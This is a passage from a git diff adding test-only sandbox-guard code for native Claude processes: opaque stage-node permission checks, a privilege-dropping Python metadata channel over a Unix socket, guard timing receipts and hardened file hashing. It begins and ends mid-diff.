for(const key of keys.split(",") as (keyof Omit)[])if(evidence[key]!==worker[key])throw Error("Worker/root node mismatch"); + if(![evidence.uid,evidence.gid,evidence.mode].every(value=>Number.isSafeInteger(value)&&value>=0)||evidence.mode>0o7777||![evidence.dev,evidence.ino,evidence.mountId,evidence.rootMountId,evidence.nlink].every(value=>typeof value==="string"&&/^[0-9]+$/.test(value))||evidence.mountId!==evidence.rootMountId||evidence.stamp!==stamp||evidence.ino!==stamp.split(":")[0]||evidence.kind!==kind||!errnos.includes(worker.errno)||worker.readerUid!==reader.uid||!Array.isArray(worker.readerGids)||JSON.stringify(worker.readerGids)!==JSON.stringify([...new Set(reader.gids)].sort((a,b)=>a-b)))throw Error("Unproven opaque worker node"); +} +function mount(path:string):{id:string;dev:bigint;ino:bigint}{ + const fd=openSync(path,0x200000|0x20000); + try{const info=fstatSync(fd,{bigint:true}),id=/^mnt_id:\s+(\d+)$/m.exec(readFileSync(`/proc/self/fdinfo/${fd}`,"utf8"))?.[1];if(!id)throw Error("Unproven opaque mount identity");return {id,dev:info.dev,ino:info.ino};}finally{closeSync(fd);} +} +export function opaqueStageNode(path:string,relative:string,kind:"file"|"directory",stamp:string,reader:StageReaderIdentity):OpaqueStageNode { + if(reader.uid===0||!Number.isSafeInteger(reader.uid)||reader.uid<0||!reader.gids.length||!reader.gids.every(gid=>Number.isSafeInteger(gid)&&gid>=0))throw Error("Unproven stage reader identity"); + let identity:string,owner:number,group:number,mode:number; + if(reader.inspect){ + const evidence=reader.inspect(relative,stamp,stamp.split(":")[0]!); + verifyStageMetadataEvidence(evidence,reader,kind,stamp); + owner=evidence.uid;group=evidence.gid;mode=evidence.mode;identity=JSON.stringify(evidence); + }else{ + const info=lstatSync(path,{bigint:true}),rootMount=mount(reader.root),nodeMount=mount(path); + if(nodeMount.id!==rootMount.id||nodeMount.dev!==info.dev||nodeMount.ino!==info.ino||info.isSymbolicLink()||(kind==="directory"?!info.isDirectory():!info.isFile())||`${info.ino}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`!==stamp)throw Error("Unproven opaque stage identity"); + owner=Number(info.uid);group=Number(info.gid);mode=Number(info.mode);identity=`${info.dev}:${info.ino}:${info.uid}:${info.gid}:${info.mode}:${info.size}:${info.mtimeNs}:${info.ctimeNs}`; + } + const access=mode>> (owner===reader.uid?6:reader.gids.includes(group)?3:0)&7; + // A named POSIX ACL entry can use the group mask even when this reader + // is not in the owning group. Without ACL bytes, a non-owner needs that + // mask to deny read/search too; an unknown ACL never becomes clean. + if((access&5)||(owner!==reader.uid&&((mode>>3)&5)))throw Error("Stage node remains readable or executable/searchable"); + if(reader.forbidden.some(candidate=>candidate===path||candidate.startsWith(path+"/")||path.startsWith(candidate+"/")))throw Error("Opaque stage node intersects a native candidate or mask"); + return {path:relative,kind,stamp,identity}; +} +export function recheckOpaqueStageNode(path:string,node:OpaqueStageNode,reader:StageReaderIdentity):void { + if(opaqueStageNode(path,node.path,node.kind,node.stamp,reader).identity!==node.identity)throw Error("Opaque stage node changed"); +} diff --git a/scripts/native-stage-metadata-channel.py b/scripts/native-stage-metadata-channel.py new file mode 100644 index 0000000000..fb534d6734 --- /dev/null +++ b/scripts/native-stage-metadata-channel.py @@ -0,0 +1,113 @@ +# Test-only metadata for one transparently observed production stage handle. +import ctypes,json,os,select,signal,socket,stat,struct,sys +config=json.loads(sys.argv[1]);libc=ctypes.CDLL(None,use_errno=True) +if os.geteuid()!=0 or libc.prctl(1,9,0,0,0):raise RuntimeError('root fixture parent required') +def start(pid):return open('/proc/'+str(pid)+'/stat').read().rsplit(') ',1)[1].split()[19] +def mount(fd): + for line in open('/proc/self/fdinfo/'+str(fd)): + if line.startswith('mnt_id:'):return line.split()[1] + raise RuntimeError('missing mount identity') +def keeper_namespace(): + if config['appUid']==0:return str(os.stat('/proc/'+str(config['pid'])+'/ns/mnt').st_ino) + read,write=os.pipe();child=os.fork() + if not child: + try: + os.close(read);owner=os.getppid() + if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('metadata owner expired') + os.setgroups([config['gid']]);os.setgid(config['gid']);os.setuid(config['appUid']) + if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('metadata owner expired') + os.write(write,str(os.stat('/proc/'+str(config['pid'])+'/ns/mnt').st_ino).encode()) + except:pass + os._exit(0) + os.close(write);value=os.read(read,128);os.close(read);os.waitpid(child,0) + if not value.isdigit():raise RuntimeError('keeper namespace unavailable') + return value.decode() +def live(): + return start(config['pid'])==config['start'] and keeper_namespace()==config['namespace'] and (not config.get('readerPid') or start(config['readerPid'])==config['readerStart'] and str(os.stat('/proc/'+str(config['readerPid'])+'/ns/mnt').st_ino)==config['readerNamespace']) +root=os.open('/proc/'+str(config.get('readerPid',config['pid']))+'/root'+config['root'],os.O_PATH|os.O_DIRECTORY) +info=os.fstat(root);root_mount=mount(root) +if str(info.st_dev)!=config['dev'] or str(info.st_ino)!=config['ino'] or not live():raise RuntimeError('stage identity changed') +listener=socket.socket(socket.AF_UNIX,socket.SOCK_STREAM);peer=None +keeper=os.pidfd_open(config['pid']);bound=False +def terminate(signum,frame):raise SystemExit(1) +signal.signal(signal.SIGTERM,terminate) +try: + listener.bind(config['socket']);bound=True;os.chown(config['socket'],0,config['gid']);os.chmod(config['socket'],0o660);listener.listen(1) + print('{"ready":true}',flush=True) + while True: + events,_,_=select.select([listener,keeper],[],[],1) + if keeper in events or not live():raise RuntimeError('keeper expired') + if listener in events:break + peer,_=listener.accept();pid,uid,gid=struct.unpack('3i',peer.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12)) + if uid!=config['appUid']:raise RuntimeError('wrong guard peer') + peer_start=start(pid);os.unlink(config['socket']);bound=False;listener.close() + greeting=dict(stage=config['id'],pid=config['pid'],start=config['start'],namespace=config['namespace'],dev=config['dev'],ino=config['ino'],peer=pid,peerStart=peer_start) + peer.sendall((json.dumps(greeting,separators=(',',':'))+'\n').encode());pending=b'' + def node(path): + names=path.split('/') if path else ['.'] + if path.startswith('/') or len(names)>256 or any(name in ('','..') or name=='.' and path!='' or '\0' in name for name in names):raise RuntimeError('noncanonical relative node') + parent=os.dup(root) + try: + for name in names[:-1]: + fd=os.open(name,os.O_PATH|os.O_DIRECTORY|os.O_NOFOLLOW,dir_fd=parent) + os.close(parent);parent=fd + if mount(parent)!=root_mount:raise RuntimeError('foreign mount') + fd=os.dup(root) if path=='' else os.open(names[-1],os.O_PATH|os.O_NOFOLLOW,dir_fd=parent) + try: + value=os.fstat(fd);mount_id=mount(fd) + kind='file' if stat.S_ISREG(value.st_mode) else 'directory' if stat.S_ISDIR(value.st_mode) else 'other' + if mount_id!=root_mount or kind=='other':raise RuntimeError('foreign mount or unsupported node') + result=dict(nlink=str(value.st_nlink),uid=value.st_uid,gid=value.st_gid,mode=stat.S_IMODE(value.st_mode),dev=str(value.st_dev),ino=str(value.st_ino),mountId=mount_id,rootMountId=root_mount,stamp=f'{value.st_ino}:{value.st_size}:{value.st_mtime_ns}:{value.st_ctime_ns}',kind=kind) + finally:os.close(fd) + return result,parent,names[-1] + except:os.close(parent);raise + while True: + events,_,_=select.select([peer,keeper],[],[],1) + if keeper in events or not live() or start(pid)!=peer_start:raise RuntimeError('owned identity expired') + if peer not in events:continue + data=peer.recv(4096) + if not data:break + pending+=data + if len(pending)>4096:raise RuntimeError('request bound') + if b'\n' not in pending:continue + if pending.count(b'\n')!=1 or not pending.endswith(b'\n'):raise RuntimeError('one request required') + request=json.loads(pending);pending=b'' + if sorted(request)!=['inode','path','stamp'] or not all(isinstance(v,str) for v in request.values()):raise RuntimeError('request schema') + before,parent,name=node(request['path']);os.close(parent) + if before['stamp']!=request['stamp'] or before['ino']!=request['inode']:raise RuntimeError('reader node changed') + read,write=os.pipe();child=os.fork() + if not child: + try: + os.close(read);peer.close();os.close(keeper) + owner=os.getppid() + if libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError("metadata parent expired") + os.setgroups([config['gid']]);os.setgid(config['gid']);os.setuid(config['workerUid']) + if libc.prctl(38,1,0,0,0) or libc.prctl(1,9,0,0,0) or os.getppid()!=owner:raise RuntimeError('worker privilege drop') + value,parent,name=node(request['path']);errno=0 + try: + fd=os.open(name,os.O_RDONLY|os.O_NONBLOCK|os.O_NOFOLLOW|(os.O_DIRECTORY if value['kind']=='directory' else 0),dir_fd=parent);os.close(fd) + except OSError as error:errno=error.errno + finally:os.close(parent) + again,parent,name=node(request['path']);os.close(parent) + if again!=value:raise RuntimeError('worker node changed') + payload=dict(value,errno=errno,readerUid=os.geteuid(),readerGids=sorted(set([os.getegid(),*os.getgroups()]))) + os.write(write,json.dumps(payload,separators=(',',':')).encode()) + except:pass + os._exit(0) + os.close(write);output=b'' + while True: + data=os.read(read,4096) + if not data:break + output+=data + if len(output)>4096:raise RuntimeError('reply bound') + os.close(read);_,status=os.waitpid(child,0) + worker=json.loads(output) + after,parent,name=node(request['path']);os.close(parent) + if before!=after or not live():raise RuntimeError('root node changed') + for key,value in before.items(): + if worker.get(key)!=value:raise RuntimeError('worker/root node mismatch') + peer.sendall((json.dumps(dict(before,worker=worker),separators=(',',':'))+'\n').encode()) +finally: + if bound:os.unlink(config['socket']) + if peer:peer.close() + listener.close();os.close(root);os.close(keeper) diff --git a/scripts/native-stage-metadata-channel.ts b/scripts/native-stage-metadata-channel.ts new file mode 100644 index 0000000000..c6e293485d --- /dev/null +++ b/scripts/native-stage-metadata-channel.ts @@ -0,0 +1,28 @@ +/** Test-only, metadata-only channel; its socket is unlinked before any request. */ +import net from "node:net"; +import {lstatSync,readFileSync,readSync,writeSync,fstatSync,realpathSync} from "node:fs"; +import {join,dirname} from "node:path"; +import type {OpaqueStageEvidence} from "./native-opaque-stage"; +const start=(pid:number)=>readFileSync(`/proc/${pid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]!; +export async function connectNativeStageMetadata(socket:string,expected:{id:string;keeper:{pid:number;start:string;mountNamespaceInode:string};root:{dev:string;ino:string}}) { + const before=lstatSync(socket,{bigint:true}),parent=lstatSync(dirname(socket),{bigint:true});if(parent.uid!==0n||(parent.mode&0o022n)!==0n||realpathSync(socket)!==socket||!before.isSocket()||before.uid!==0n||(before.mode&0o777n)!==0o660n)throw Error("Unpinned stage metadata channel"); + const connection=net.createConnection(socket);connection.pause(); + await new Promise((resolve,reject)=>{connection.once("connect",resolve);connection.once("error",reject);}); + const fd=(connection as unknown as {_handle:{fd:number}})._handle.fd;let closed=false; + const line=()=>{ + const until=performance.now()+15000,parts:number[]=[];const byte=Buffer.alloc(1); + for(;;){if(performance.now()>until)throw Error("Stage metadata channel timed out");let n:number;try{n=readSync(fd,byte);}catch(error){if((error as NodeJS.ErrnoException).code!=="EAGAIN")throw error;Bun.sleepSync(1);continue;}if(!n)throw Error("Stage metadata channel closed");if(byte[0]===10)return JSON.parse(Buffer.from(parts).toString("utf8"));if(parts.length>=4096)throw Error("Stage metadata reply bound");parts.push(byte[0]!);} + }; + try{ + const flags=/^flags:\s+([0-7]+)$/m.exec(readFileSync(`/proc/self/fdinfo/${fd}`,"utf8"))?.[1];if(!flags||(parseInt(flags,8)&0x80000 /* O_CLOEXEC */)===0)throw Error("Stage metadata descriptor is not close-on-exec"); + const hello=line();if(Object.keys(hello).sort().join(",")!=="dev,ino,namespace,peer,peerStart,pid,stage,start"||hello.stage!==expected.id||hello.pid!==expected.keeper.pid||hello.start!==expected.keeper.start||hello.namespace!==expected.keeper.mountNamespaceInode||hello.dev!==expected.root.dev||hello.ino!==expected.root.ino||hello.peer!==process.pid||hello.peerStart!==start(process.pid))throw Error("Stage metadata handle differs"); + try{lstatSync(socket);throw Error("Stage metadata socket remains reachable");}catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} + connection.unref();const info=fstatSync(fd,{bigint:true}); + return {matches(value:typeof expected){return !closed&&value.id===expected.id&&value.keeper.pid===expected.keeper.pid&&value.keeper.start===expected.keeper.start&&value.keeper.mountNamespaceInode===expected.keeper.mountNamespaceInode&&value.root.dev===expected.root.dev&&value.root.ino===expected.root.ino;},identity:{dev:String(info.dev),ino:String(info.ino)},inspect(path:string,stamp:string,inode:string):OpaqueStageEvidence{ + if(closed)throw Error("Stage metadata channel expired"); + const request=Buffer.from(JSON.stringify({path,stamp,inode})+"\n");if(request.length>4096||writeSync(fd,request)!==request.length)throw Error("Stage metadata transfer failed"); + return line() as OpaqueStageEvidence; + },close(){if(!closed){closed=true;connection.destroy();}}}; + }catch(error){connection.destroy();throw error;} +} +export function nativeStageMetadataSocket(managerSocket:string,id:string){if(!/^[0-9a-f-]{36}$/.test(id))throw Error("Invalid fixture stage ID");return join(dirname(managerSocket),".guard-"+id);} diff --git a/scripts/native-stage-metadata-check.ts b/scripts/native-stage-metadata-check.ts new file mode 100644 index 0000000000..ce6fcb1ee0 --- /dev/null +++ b/scripts/native-stage-metadata-check.ts @@ -0,0 +1,31 @@ +/** Fixed test-only client of the existing private stage metadata capability. */ +import {createNativeBrainManagerClient} from "../packages/ui-sdk/src/server/native-brain-manager-client"; +try{ + const input=JSON.parse(await Bun.stdin.text()) as {options:Parameters[0];id:string;uid:number;entries:[string,string][];opaque?:{path:string;kind:string;stamp:string}[]}; + if(!Array.isArray(input.entries)||input.entries.length>200000)throw Error("Invalid inspection bound"); + const expected=new Map(input.entries.filter(([path])=>path!=="")),seen=new Set(); + if(expected.size!==input.entries.length-1)throw Error("Invalid inspection inventory"); + const manager=createNativeBrainManagerClient(input.options); + const opaque=new Map((input.opaque??[]).map(node=>[node.path,node])); + let failure:unknown,failed=false;const cancellations=new Set<()=>Promise>();const fail=(error:unknown)=>{if(!failed){failed=true;failure=error;}for(const cancel of cancellations)void cancel().catch(()=>{});};const queue:(()=>Promise)[]=[],pending=new Set>(); + const walk=async(path:string,depth:number):Promise=>{ + if(depth>256)throw Error("Inspection depth exceeded"); + for(const row of await manager.listStage(input.id,path,input.uid)){ + if(seen.has(row.path)||expected.get(row.path)!==row.stamp)throw Error("Stage changed"); + seen.add(row.path);queue.push(async()=>{if(failed)throw failure;const node=opaque.get(row.path); + if(node){ + if(node.kind!==row.kind||node.stamp!==row.stamp)throw Error("Opaque node changed"); + let denied=false; + try{if(node.kind==="directory")await manager.listStage(input.id,row.path,input.uid);else{const copy=await manager.readStage(input.id,row.path,Math.max(1,row.bytes),input.uid),reader=copy.stream.getReader(),cancel=()=>reader.cancel();cancellations.add(cancel);try{if(failed)throw failure;for(;;){const part=await reader.read();if(failed)throw failure;if(part.done)break;}await copy.completed;}finally{await cancel().catch(()=>{});await copy.completed.catch(()=>{});cancellations.delete(cancel);}}}catch(error){if((error as NodeJS.ErrnoException).code!=="EACCES")throw error;denied=true;} + if(!denied)throw Error("Opaque node became accessible"); + }else if(row.kind==="directory")await walk(row.path,depth+1); + }); + } + }; + try{await walk("",0);while(!failed&&(queue.length||pending.size)){ + while(queue.length&&pending.size<2){const job=queue.shift()!;let task:Promise;task=job().catch(fail).finally(()=>pending.delete(task));pending.add(task);} + if(pending.size)await Promise.race(pending); + }}finally{queue.length=0;await Promise.allSettled([...cancellations].map(cancel=>cancel()));await Promise.allSettled([...pending]);} + if(failed)throw failure;if(seen.size!==expected.size)throw Error("Stage changed"); + process.stdout.write('{"current":true}\n'); +}catch{process.stdout.write('{"current":false}\n');process.exitCode=1;} diff --git a/scripts/native-test-receipts.ts b/scripts/native-test-receipts.ts index 3d1433f064..8f80c0ffe1 100644 --- a/scripts/native-test-receipts.ts +++ b/scripts/native-test-receipts.ts @@ -1,5 +1,6 @@ /** Test-owned receipt files/descriptors stay separate from protocol stderr. */ import { closeSync, constants, fstatSync, mkdtempSync, openSync, readFileSync, readSync, realpathSync, statSync, rmSync, writeSync } from "node:fs"; +import {createRequire} from "node:module"; import { tmpdir } from "node:os"; import { basename, join, resolve } from "node:path"; const KEY="BRAIN_NATIVE_RECEIPT",OWNER=Symbol.for("brain-kit.test.native-receipt-owner"); @@ -88,6 +89,10 @@ export function flushNativeReceipts():void { } } export function nativeReceipt(value:Record):void { + if(value.kind==="native-guard-interval"){ + const guard=createRequire(import.meta.url)("./test-native-guard.ts") as {isNativeGuardTimingReceipt(value:object):boolean}; + if(!guard.isNativeGuardTimingReceipt(value))throw Error("Unowned native guard timing interval refused"); + } const sink=owner();if(!sink){ // Lost delivery cannot turn a boundary refusal into a successful local run. if(value.success===false){writeSync(2,JSON.stringify(value)+"\n");if(["native-offline-boundary","native-offline-invocation-failed","native-offline-route-denial"].includes(String(value.kind))){process.exitCode=1;process.prependOnceListener("exit",()=>{process.exitCode=1;});}} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 4943657a3d..dbf9a01350 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1,3 +1,5 @@ +import {connectNativeStageMetadata,nativeStageMetadataSocket} from "./native-stage-metadata-channel"; +import {verifyStageMetadataEvidence,opaqueStageNode,recheckOpaqueStageNode,type OpaqueStageNode,type StageReaderIdentity} from "./native-opaque-stage"; import {prepareNativeLaunchReadiness} from "./native-launch-ready"; import {ownNativeAudit,borrowNativeAudit} from "./native-shared-audit"; import {registerNativeTitleCollector,prepareNativeTitleCollector} from "./native-title-collector"; @@ -5,6 +7,8 @@ import {pinNativeWorkerExecutable} from "./native-runtime-pin"; import { nativeExecTrace } from "./native-exec-trace"; import { nativeDeviceMetadata, nativeDeviceMetadataCommand, nativeStartupOpenStages, nativeSeparateUidAuditCommand } from "./native-device-diagnostics"; import { nativeReceipt,nativeKernelIdentity } from "./native-test-receipts.ts"; +import {watchdogMs} from "./test-deadlines"; +import type {createNativeBrainManagerClient} from "../packages/ui-sdk/src/server/native-brain-manager-client"; /** Test-only OS boundary for installed native Claude processes (#4313). */ import { constants, createWriteStream, cpSync, fstatSync, statfsSync, chmodSync, closeSync, mkdirSync, existsSync, lstatSync, openSync, readFileSync, readSync, readdirSync, symlinkSync, statSync, mkdtempSync, readlinkSync, realpathSync, rmSync, writeFileSync } from "node:fs"; import { Readable } from "node:stream"; @@ -16,12 +20,61 @@ import { tmpdir } from "node:os"; import { basename, dirname, isAbsolute, join, resolve } from "node:path"; import type { query as sdkQuery } from "@anthropic-ai/claude-agent-sdk"; +// Only these private guard operations can issue timing intervals. Product +// callbacks and receipt consumers cannot mint an interval or wrap product work. +const guardTimingOperations=new Set(["classification","qualification","stage-inspection","stage-freshness","plan-inspection","mask-setup","launch-validation","executable-transfer"]); +type GuardTimingInterval={kind:"native-guard-interval";operation:string;pid:number;startMs:number;endMs:number;clock:"performance.now"}; +const guardTimingIntervals:GuardTimingInterval[]=[],guardTimingReceipts=new WeakSet(); +function recordGuardTiming(operation:string,startMs:number):void { + if(!guardTimingOperations.has(operation))throw Error("Unlisted native guard timing operation"); + const interval:GuardTimingInterval=Object.freeze({kind:"native-guard-interval",operation,pid:process.pid,startMs,endMs:performance.now(),clock:"performance.now"}); + guardTimingIntervals.push(interval);guardTimingReceipts.add(interval);nativeReceipt(interval); +} +function guardTiming(operation:string,run:()=>T):T {const began=performance.now();try{return run();}finally{recordGuardTiming(operation,began);}} +async function guardTimingAsync(operation:string,run:()=>Promise):Promise{const began=performance.now();try{return await run();}finally{recordGuardTiming(operation,began);}} +/** Read-only verifier: possession of a parsed or copied receipt grants nothing. */ +export function isNativeGuardTimingReceipt(value:object):boolean{return guardTimingReceipts.has(value);} +/** Union only genuine guard intervals, clipped to the measured product window. */ +export function nativeFixtureGuardTiming(startMs:number,endMs:number):{rawMs:number;guardMs:number;productMs:number;intervals:readonly {startMs:number;endMs:number}[]} { + if(!Number.isFinite(startMs)||!Number.isFinite(endMs)||startMs<0||endMsperformance.now())throw Error("Invalid native acknowledgement timing window"); + const spans=guardTimingIntervals.filter(row=>row.pid===process.pid&&row.endMs>startMs&&row.startMs({startMs:Math.max(startMs,row.startMs),endMs:Math.min(endMs,row.endMs)})).sort((a,b)=>a.startMs-b.startMs); + const union:{startMs:number;endMs:number}[]=[]; + for(const row of spans){const last=union.at(-1);if(last&&row.startMs<=last.endMs)last.endMs=Math.max(last.endMs,row.endMs);else union.push({...row});} + const guardMs=union.reduce((sum,row)=>sum+row.endMs-row.startMs,0),rawMs=endMs-startMs; + return Object.freeze({rawMs,guardMs,productMs:rawMs-guardMs,intervals:Object.freeze(union.map(row=>Object.freeze(row)))}); +} const ROOT = resolve(import.meta.dir, ".."); // Fixture TMPDIR lifetimes do not own the guard's retained tripwire evidence. const GUARD_TMPDIR = tmpdir(); // Fixed Git metadata only. Discovery refusal must not recurse through admission. const metadataSpawnSync = Bun.spawnSync.bind(Bun); const metadataWhich = Bun.which.bind(Bun); +const metadataRuntime=process.platform==="linux"?{path:realpathSync("/proc/self/exe"),stamp:statSync("/proc/self/exe",{bigint:true})}:undefined; +const realFixtureManagerClient:typeof createNativeBrainManagerClient|undefined=existsSync(join(ROOT,"packages/ui-sdk/src/server/native-brain-manager-client.ts"))?createRequire(import.meta.url)("../packages/ui-sdk/src/server/native-brain-manager-client.ts").createNativeBrainManagerClient:undefined; +type FixtureManagerPin={options:Readonly[0]>;isLive():boolean}; +const fixtureManagerOptions=new WeakMap(); +const fixtureManagerWrappers=new WeakMap(); +function fixtureManagerPin(client:object,depth=0):FixtureManagerPin|undefined { + if(depth>64)return;const pin=fixtureManagerOptions.get(client);if(!pin?.isLive())return; + const wrapper=fixtureManagerWrappers.get(client); + if(wrapper&&(!wrapper.isLive()||fixtureManagerPin(wrapper.raw,depth+1)!==pin))return; + return pin; +} +function fixtureManagerConnection(client:object){return fixtureManagerPin(client)?.options;} +const realFixtureLeaseManager=existsSync(join(ROOT,"packages/ui-server/src/brain/native-brain-leases.ts"))?(()=>{ + const leases=createRequire(import.meta.url)("../packages/ui-server/src/brain/native-brain-leases.ts") as typeof import("../packages/ui-server/src/brain/native-brain-leases"); + return {leases,create:leases.createNativeBrainLeaseManager}; +})():undefined; +// Pin real product preparers before fixture mocks can replace module exports. +const realFixturePreparers=existsSync(join(ROOT,"packages/ui-sdk/src/server/worker-native-output.ts"))?(()=>{ + const require=createRequire(import.meta.url),launcher=require("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"),output=require("../packages/ui-sdk/src/server/worker-native-output.ts") as typeof import("../packages/ui-sdk/src/server/worker-native-output"),maintenance=require("../packages/ui-sdk/src/server/maintenance-worker.ts") as typeof import("../packages/ui-sdk/src/server/maintenance-worker"); + return {output,maintenance,launcher,real:{hostProbe:launcher.probeWorkerHost,hostSource:createHash("sha256").update(readFileSync(join(ROOT,"packages/ui-sdk/src/server/worker-launcher.ts"))).digest("hex"),index:output.prepareNativeMaintenanceIndex,finishIndex:output.finishNativeMaintenanceIndex,git:output.prepareNativeMaintenanceGit,finishGit:output.finishNativeMaintenanceGit,worker:maintenance.prepareMaintenanceWorker,gitInput:maintenance.prepareMaintenanceGitInput,probe:maintenance.probeNativeMaintenanceWorker}}; +})():undefined; +/** Transparent constructor observation: the client and its production methods are real. */ +export function nativeFixtureManagerClient(options:Parameters[0],isLive:()=>boolean) { + if(!realFixtureManagerClient)throw Error("Fixture manager client is unavailable"); + const client=realFixtureManagerClient(options);fixtureManagerOptions.set(client,{options:Object.freeze({...options}),isLive});return client; +} const GUARD_TOOL_PATH = [process.env.PATH,"/usr/bin","/bin"].filter(Boolean).join(":"); // Distribution-owned, read-only runtime bytes; never service/cache storage. const SYSTEM = ["/usr", "/bin", "/sbin", "/lib", "/lib32", "/lib64", "/libx32"]; @@ -117,17 +170,34 @@ for (const owner of sdkOwners) { } catch { discoveryFailed = true; } } -const hashes = new Map(); -function fileHash(path: string): string { - const stat = statSync(path, { bigint: true }); - const key = `${path}:${stat.dev}:${stat.ino}:${stat.size}:${stat.mtimeNs}:${stat.ctimeNs}`; - const cached = hashes.get(key); - if (cached) return cached; - const fd = openSync(path, "r"), chunk = Buffer.alloc(1024 * 1024), hash = createHash("sha256"); - try { for (;;) { const count = readSync(fd, chunk); if (!count) break; hash.update(chunk.subarray(0, count)); } } - finally { closeSync(fd); } - const digest = hash.digest("hex"); hashes.set(key, digest); return digest; +const hashes=new Map(); +let reusedFileFindings=0,inspectedFileFindings=0; +/** Kernel key, including mount identity; pathname alone never identifies a finding. */ +function fixtureDescriptorKey(fd:number):string { + const info=fstatSync(fd,{bigint:true}),mount=/^mnt_id:\s+(\d+)$/m.exec(readFileSync(`/proc/self/fdinfo/${fd}`,"utf8"))?.[1]; + if(!mount)throw Error("Fixture mount identity unavailable"); + return [info.dev,info.ino,info.size,info.mtimeNs,info.ctimeNs,info.mode,info.uid,info.gid,info.nlink,mount].join(":"); +} +function fixturePathKey(path:string):string { + const fd=openSync(path,0x200000|constants.O_NOFOLLOW);try{return fixtureDescriptorKey(fd);}finally{closeSync(fd);} +} +function fixtureDescriptorHash(fd:number):{key:string;hash:string} { + const key=fixtureDescriptorKey(fd),cached=hashes.get(key); + if(cached!==undefined){if(fixtureDescriptorKey(fd)!==key)throw Error("Fixture file changed");reusedFileFindings++;return {key,hash:cached};} + const chunk=Buffer.alloc(1024*1024),hash=createHash("sha256");let position=0; + for(;;){const count=readSync(fd,chunk,0,chunk.length,position);if(!count)break;hash.update(chunk.subarray(0,count));position+=count;} + if(fixtureDescriptorKey(fd)!==key)throw Error("Fixture file changed during inspection"); + const digest=hash.digest("hex");hashes.set(key,digest);inspectedFileFindings++; + if(hashes.size>200000)hashes.delete(hashes.keys().next().value!); + return {key,hash:digest}; +} +function fileHash(path:string):string { + const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW); + try{const named=fixturePathKey(path),finding=fixtureDescriptorHash(fd);if(finding.key!==named||fixturePathKey(path)!==named)throw Error("Fixture file replaced during inspection");return finding.hash;}finally{closeSync(fd);} } +/** Read-only counters are proof of reuse, never an admission capability. */ +export function nativeFixtureFileFinding(path:string):{key:string;hash:string}{const key=fixturePathKey(path),hash=fileHash(path);if(fixturePathKey(path)!==key)throw Error("Fixture file changed");return Object.freeze({key,hash});} +export function nativeFixtureFindingCounts():{inspected:number;reused:number}{return {inspected:inspectedFileFindings,reused:reusedFileFindings};} interface SpawnContext { synchronous?:boolean;detached?:boolean; cwd?: string; env?: Record } function resolveExecutable(command: string, options: SpawnContext): string { @@ -156,9 +226,14 @@ function nativeExecutableCandidates(command: string, args: readonly unknown[]): } export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { + return guardTiming("classification",()=>isNativeClaudeInspected(command,args,options)); +} +function isNativeClaudeInspected(command:string,args:readonly unknown[],options:SpawnContext):boolean { if (discoveryFailed) refuse("installed SDK runtime discovery failed"); const managedDirectories=nativeManagedCandidateDirectories([command,...args.filter((value):value is string=>typeof value==="string")]); for (const value of nativeExecutableCandidates(command, args)) { + const candidate=resolve(options.cwd??process.cwd(),managedDirectories.get(value)??value); + if([...opaqueStageSnapshots.keys()].some(opaque=>within(opaque,candidate)))refuse("opaque stage node intersects an executable candidate"); let path: string; try { path = resolveExecutable(managedDirectories.get(value)??value, options); } catch(error) { if(["ENOENT","ENAMETOOLONG","ENOTDIR","ELOOP","NOT_REGULAR_FILE"].includes((error as NodeJS.ErrnoException).code??""))continue; @@ -172,7 +247,7 @@ export function isNativeClaude(command: string, args: readonly unknown[] = [], o const metadata = statSync(path); if (!metadata.isFile()) continue; const size = metadata.size; - const candidates = installedRuntimes.filter(runtime => runtime.size === size); + const candidates = installedRuntimes.filter(runtime => {try{return statSync(runtime.path).size===size;}catch(error){if((error as NodeJS.ErrnoException).code==="ENOENT")return false;throw error;}}); if (candidates.length && candidates.some(runtime => fileHash(runtime.path) === fileHash(path))) return true; } catch(error) { if(["ENOENT","ENAMETOOLONG"].includes((error as NodeJS.ErrnoException).code??""))continue;refuse("native executable metadata is unavailable"); } } @@ -225,9 +300,23 @@ export function refuseNativeClaude(command: string, args: readonly unknown[] = [ /** Qualification uses the guard's startup tool search path, never fixture PATH. */ function spawnQualificationProbe(argv:string[]) { - return Bun.spawnSync(argv,{env:{PATH:GUARD_TOOL_PATH},stdout:"pipe",stderr:"pipe",timeout:5000}); -} -function qualify(): void { + const allowed=[ + ["bwrap","--unshare-all","--die-with-parent","--new-session","--ro-bind","/usr","/usr","--symlink","usr/bin","/bin","--symlink","usr/lib","/lib","--symlink","usr/lib64","/lib64","/usr/bin/true"], + ["strace","-I","1","--kill-on-exit","-qq","-e","trace=connect","-e","raw=connect","/usr/bin/true"], + [compileSocketPolicy(),"--probe",nativeTestHead()], + ]; + if(!allowed.some(row=>JSON.stringify(row)===JSON.stringify(argv)))refuse("native qualification probe argv differs"); + // Fixed guard probes retain O1 without re-entering the public spawn interceptor + // and inheriting a receipt pathname inaccessible after the fixture's UID drop. + const executable=argv[0]!.includes("/")?argv[0]!:metadataWhich(argv[0]!,{PATH:GUARD_TOOL_PATH}); + if(!executable)refuse("native qualification probe tool is unavailable"); + const command=[executable,...argv.slice(1)];metadataProbeMaskPlans.add(command); + const plan=nativeUnknownBoundary(command,{env:{PATH:GUARD_TOOL_PATH},synchronous:true}); + try{plan.beforeLaunch();return metadataSpawnSync(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe",timeout:5000});} + finally{plan.dispose();} +} +function qualify():void {return guardTiming("qualification",qualifyInspected);} +function qualifyInspected(): void { // Positive native proof is reserved for disposable hosted runners. Namespace // availability on a developer machine never authorizes a native test launch. if (process.env.GITHUB_ACTIONS !== "true" || process.env.RUNNER_ENVIRONMENT !== "github-hosted") { @@ -705,6 +794,7 @@ export function nativeDirectTransportCommand(command:readonly string[]):string[] /** Direct SDK launch: empty filesystem, fresh PID/network namespaces, one 